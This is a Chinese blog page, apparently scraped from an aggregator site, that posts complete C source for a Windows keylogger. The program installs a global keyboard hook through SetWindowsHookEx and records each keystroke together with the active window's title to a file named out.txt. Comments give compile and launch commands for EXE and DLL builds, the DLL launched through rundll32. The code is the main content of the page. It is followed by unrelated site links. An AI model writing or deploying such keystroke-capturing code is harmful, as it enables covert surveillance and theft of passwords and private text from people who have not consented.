键盘记录器 --- hook keboard event handling
来源:互联网 发布:网络彩票最新消息新闻 编辑:程序博客网 时间:2024/05/06 20:03
/*
file:xx.c
键盘记录器
compile: mingw-gcc xx.c -o a.exe
test: 以管理者权限,运行a.exe
当我总结这段文字的时候,cmd 显示我的击键记录,
被监控的感觉真好!!
注记:必须以管理者权限,否则只能监控对话框本身。某些书上说
只能以DLL方式运行,我可是以exe方式运行的!!看来不能尽信书,有些书的作者实在是不负责:大段代码一贴,连他本人都觉得难看。
注记2: 本程序也能以DLL方式,不过CMD不显示,击键结果
在out.txt中
compile: mingw-gcc --shared xx.c -o xx.dll
test: rundll32.exe xx.dll,DllEntry
注记3: VC6的编译命令:
CL.exe xx.c user.lib -oa.exe
CL.exe -LD xx.c
*/
#include<windows.h>
#include<stdio.h>
#define DLL __declspec(dllexport)
#if 0
#pragma data_seg(".SHAREDATA")
HHOOK hook = NULL;
#pragma data_seg()
#pragma comment(linker,"/SECTION:.SHAREDATA,RWS")
#endif
HHOOK hook = NULL;
FILE *file = NULL;
LRESULT CALLBACK kb_fn(
int code,WPARAM wparam,LPARAM lparam)
{
HWND hwnd = GetForegroundWindow();
char name[128];
GetWindowText(hwnd,name,sizeof(name));
if(code >= 0 && !(lparam &0x80000000))
{
char buf[20]=" ";
GetKeyNameText(lparam,buf,20);
printf("%s:%s/n",name,buf);
fprintf(file,"%s:%s/n",name,buf);
}
return CallNextHookEx(hook,code,wparam,lparam);
}
DLL void DllEntry(HWND hwnd,HINSTANCE hinst,LPSTR cmd,int show)
{
hook = SetWindowsHookEx(
WH_KEYBOARD,
kb_fn,
hinst,
0);
file = fopen("out.txt","w");
if(!hook)
{
fprintf(file,"hook failed/n");
}
else MessageBox(NULL,"stop","title",MB_OK);
fclose(file);
UnhookWindowsHookEx(hook);
printf("exit/n");
}
BOOL APIENTRY DLLMain(HANDLE mod,
DWORD reason,LPVOID reserved)
{
DllEntry(NULL,(HINSTANCE)mod,NULL,0);
return TRUE;
}
int PASCAL WinMain( HINSTANCE hinst,HINSTANCE hPrevInstance,LPSTR lpCmdLine,
int nCmdShow)
{
DllEntry(NULL,hinst,NULL,0);
return 0;
}
- 键盘记录器 --- hook keboard event handling
- 键盘记录器-------HOOK的应用举例
- hook:实现简单的键盘记录器
- 键盘记录器
- 键盘记录器
- 键盘记录器
- 键盘记录器
- Event Handling
- 键盘记录器 怎么用
- C#键盘记录器
- 键盘击键记录器
- C#键盘记录器
- javascript 键盘记录器
- 无钩子键盘记录器
- Python编写键盘记录器
- python实现键盘记录器
- python-实现键盘记录器
- Java and event handling
- sql在已有数据中查询每个月的最后一天
- 流行的免费搜索引擎网址
- 性能调优的步骤
- 超声波模块
- 遍历Map
- 键盘记录器 --- hook keboard event handling
- pku 3308 Paratroopers
- 在一堆数据库中找出特定的对象
- myeclipse自动提示信息设置
- 程序员从初级到中级10个秘诀
- 在输出的调试信息中统一加上模块名前缀
- Jsp/bean Mysql数据库 新增 修改 删除的通用方法
- 一类很有趣的数——回归数
- 数据库建立索引的一般依据